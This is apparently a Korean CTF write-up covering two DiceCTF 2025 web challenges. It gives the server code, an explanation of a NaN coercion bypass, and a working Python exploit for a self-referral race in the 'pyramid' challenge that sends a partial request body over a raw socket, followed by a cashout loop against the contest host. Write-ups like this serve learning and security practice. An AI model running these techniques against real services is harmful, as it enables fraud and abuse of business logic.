DiceCTF 2025

const express = require('express')

const app = express()

const cookies = new Map()

app.use((req, res, next) => {
    const cookies = req.headers.cookie
    const user = cookies?.split('=')?.[1]

    if (user) { req.user = user }
    else {
        const id = Math.random().toString(36).slice(2)
        res.setHeader('set-cookie', `user=${id}`)
        req.user = id
    }

    next()
})

app.get('/', (req, res) => {
    const count = cookies.get(req.user) ?? 0
    res.type('html').send(`
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@exampledev/new.css@1/new.min.css">
        <link rel="stylesheet" href="https://fonts.xz.style/serve/inter.css">
        <div>You have <span>${count}</span> cookies</div>
        <button id="basic">Basic cookie recipe (makes one)</button>
        <br>
        <button id="advanced">Advanced cookie recipe (makes a dozen)</button>
        <br>
        <button disabled>Super cookie recipe (makes a million)</button>
        <br>
        <button id="deliver">Deliver cookies</button>
        <script src="/script.js"></script>
    `)
})

app.get('/script.js', (_req, res) => {
    res.type('js').send(`
        const basic = document.querySelector('#basic')
        const advanced = document.querySelector('#advanced')
        const deliver = document.querySelector('#deliver')

        const showCookies = (number) => {
            const span = document.querySelector('span')
            span.textContent = number
        }

        basic.addEventListener('click', async () => {
            const res = await fetch('/bake?number=1', { method: 'POST' })
            const number = await res.text()
            showCookies(+number)
        })

        advanced.addEventListener('click', async () => {
            const res = await fetch('/bake?number=12', { method: 'POST' })
            const number = await res.text()
            showCookies(+number)
        })

        deliver.addEventListener('click', async () => {
            const res = await fetch('/deliver', { method: 'POST' })
            const text = await res.text()
            alert(text)
        })
    `)
})

app.post('/bake', (req, res) => {
    const number = req.query.number
    if (!number) {
        res.end('missing number')
    } else if (number.length <= 2) {
        cookies.set(req.user, (cookies.get(req.user) ?? 0) + Number(number))
        res.end(cookies.get(req.user).toString())
    } else {
        res.end('that is too many cookies')
    }
})

app.post('/deliver', (req, res) => {
    const current = cookies.get(req.user) ?? 0
    const target = 1_000_000_000
    if (current < target) {
        res.end(`not enough (need ${target - current}) more`)
    } else {
        res.end(process.env.FLAG)
    }
})

app.listen(3000)

/bakenumber 값을 받아 현재 값에 더한다. (current < target)false가 되면 flag가 나온다. numbere처럼 Number()로 변환할 수 없는 값을 넣으면 현재 값이 NaN이 되고, NaN < targetfalse가 되어 flag를 받을 수 있다.

pyramid

const express = require('express')
const crypto = require('crypto')
const app = express()

const css = `
    <link
        rel="stylesheet"
        href="https://unpkg.com/axist@latest/dist/axist.min.css"
    >
`

const users = new Map()
const codes = new Map()

const random = () => crypto.randomBytes(16).toString('hex')
const escape = (str) => str.replace(/</g, '&lt;')
const referrer = (code) => {
    if (code && codes.has(code)) {
        const token = codes.get(code)
        if (users.has(token)) {
            return users.get(token)
        }
    }
    return null
}

app.use((req, _res, next) => {
    const token = req.headers.cookie?.split('=')?.[1]
    if (token) {
        req.token = token
        if (users.has(token)) {
            req.user = users.get(token)
        }
    }
    next()
})

app.get('/', (req, res) => {
    res.type('html')

    if (req.user) {
        res.end(`
            ${css}
            <h1>Account: ${escape(req.user.name)}</h1>
            You have <strong>${req.user.bal}</strong> coins.
            You have referred <strong>${req.user.ref}</strong> users.

            <hr>

            <form action="/code" method="GET">
                <button type="submit">Generate referral code</button>
            </form>
            <form action="/cashout" method="GET">
                <button type="submit">
                    Cashout ${req.user.ref} referrals
                </button>
            </form>
            <form action="/buy" method="GET">
                <button type="submit">Purchase flag</button>
            </form>
        `)
    } else {
        res.end(`
            ${css}
            <h1>Register</h1>
            <form action="/new" method="POST">
                <input name="name" type="text" placeholder="Name" required>
                <input
                    name="refer"
                    type="text"
                    placeholder="Referral code (optional)"
                >
                <button type="submit">Register</button>
            </form>
        `)
    }
})

app.post('/new', (req, res) => {
    const token = random()

    const body = []
    req.on('data', Array.prototype.push.bind(body))
    req.on('end', () => {
        const data = Buffer.concat(body).toString()
        const parsed = new URLSearchParams(data)
        const name = parsed.get('name')?.toString() ?? 'JD'
        const code = parsed.get('refer') ?? null

        // referrer receives the referral
        const r = referrer(code)
        if (r) { r.ref += 1 }

        users.set(token, {
            name,
            code,
            ref: 0,
            bal: 0,
        })
    })

    res.header('set-cookie', `token=${token}`)
    res.redirect('/')
})

app.get('/code', (req, res) => {
    const token = req.token
    if (token) {
        const code = random()
        codes.set(code, token)
        res.type('html').end(`
            ${css}
            <h1>Referral code generated</h1>
            <p>Your code: <strong>${code}</strong></p>
            <a href="/">Home</a>
        `)
        return
    }
    res.end()
})

app.get('/cashout', (req, res) => {
    if (req.user) {
        const u = req.user
        const r = referrer(u.code)
        if (r) {
            [u.ref, r.ref, u.bal] = [0, r.ref + u.ref / 2, u.bal + u.ref / 2]
        } else {
            [u.ref, u.bal] = [0, u.bal + u.ref]
        }
    }
    res.redirect('/')
})

app.get('/buy', (req, res) => {
    if (req.user) {
        const user = req.user
        if (user.bal > 100_000_000_000) {
            user.bal -= 100_000_000_000
            res.type('html').end(`
                ${css}
                <h1>Successful purchase</h1>
                <p>${process.env.FLAG}</p>
            `)
            return
        }
    }
    res.type('html').end(`
        ${css}
        <h1>Not enough coins</h1>
        <a href="/">Home</a>
    `)
})

app.listen(3000)

ref를 늘려 flag를 사는 문제다. 정상적인 방법으로 bal을 구매 조건인 1000억보다 크게 만들려면 그만큼 많은 referral이 필요해 다른 방법을 찾아봤다.

자기 자신의 referral code를 code로 가진 계정은 cashout할 때 ru가 같은 객체가 된다. 이 때문에 ref가 매번 1.5배로 증가하고, 그 일부가 bal에 더해진다. /new는 request body를 모두 받기 전에 token을 response로 반환한다. 따라서 name까지만 보낸 상태에서 token을 받은 뒤 /code로 referral code를 생성하고, 남은 body의 refer에 그 값을 넣으면 자기 자신을 referrer로 삼을 수 있다.

import socket
import ssl
import re
import time
import http.client

HOST = 'pyramid.dicec.tf'
PORT = 443

name_part = 'name=me'
refer_template = '&refer={ref}'
full_body_len = len(name_part) + len(refer_template.format(ref='0' * 32))  

context = ssl.create_default_context()
raw_sock = socket.create_connection((HOST, PORT))
conn = context.wrap_socket(raw_sock, server_hostname=HOST)

req_headers = (
    f"POST /new HTTP/1.1\r\n"
    f"Host: {HOST}\r\n"
    f"Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {full_body_len}\r\n"
    f"Connection: keep-alive\r\n"
    f"\r\n"
    f"{name_part}"
)
conn.sendall(req_headers.encode())
print('[*] Sent name part. Waiting for Set-Cookie...')

resp = b''
while b'set-cookie:' not in resp:
    resp += conn.recv(4096)
    print(resp)

m = re.search(rb'set-cookie:\s*token=([a-f0-9]+)', resp)
assert m, 'No token found!'
token = m.group(1).decode()
print(f'Got token: {token}')

print('Requesting /code to generate referral...')
http_conn = http.client.HTTPSConnection(HOST)
http_conn.request('GET', '/code', headers={'Cookie': f'token={token}'})
res = http_conn.getresponse()
html = res.read().decode()
http_conn.close()

m = re.search(r'<strong>([a-f0-9]+)</strong>', html)
assert m, 'Referral code not found'
ref_code = m.group(1)
print(f'Got referral code: {ref_code}')

refer_part = refer_template.format(ref=ref_code)
conn.sendall(refer_part.encode())
print('Sent refer part:', refer_part)

final_resp = b''
try:
    while True:
        chunk = conn.recv(4096)
        if not chunk:
            break
        final_resp += chunk
except socket.timeout:
    pass

print(final_resp.decode(errors='ignore')[:500])

conn.close()

위 코드로 자기 자신이 referrer인 계정을 만들었다. 다른 계정 두 개를 referral로 등록해 이 계정의 ref를 2로 만든 뒤 cashout을 반복하면 flag를 살 수 있다.

import http.client
import time

HOST = 'pyramid.dicec.tf'
PORT = 443
TOKEN = 'c1232df44c57c310cad1f8e764bcca1c'

def cashout_loop():
    conn = http.client.HTTPSConnection(HOST)
    headers = {
        'Cookie': f'token={TOKEN}',
    }

    for i in range(1000):
        conn.request('GET', '/cashout', headers=headers)
        res = conn.getresponse()
        print(f'[{i}] /cashout -> {res.status} {res.reason}')
        res.read()
        time.sleep(0.1) 

    conn.close()

cashout_loop()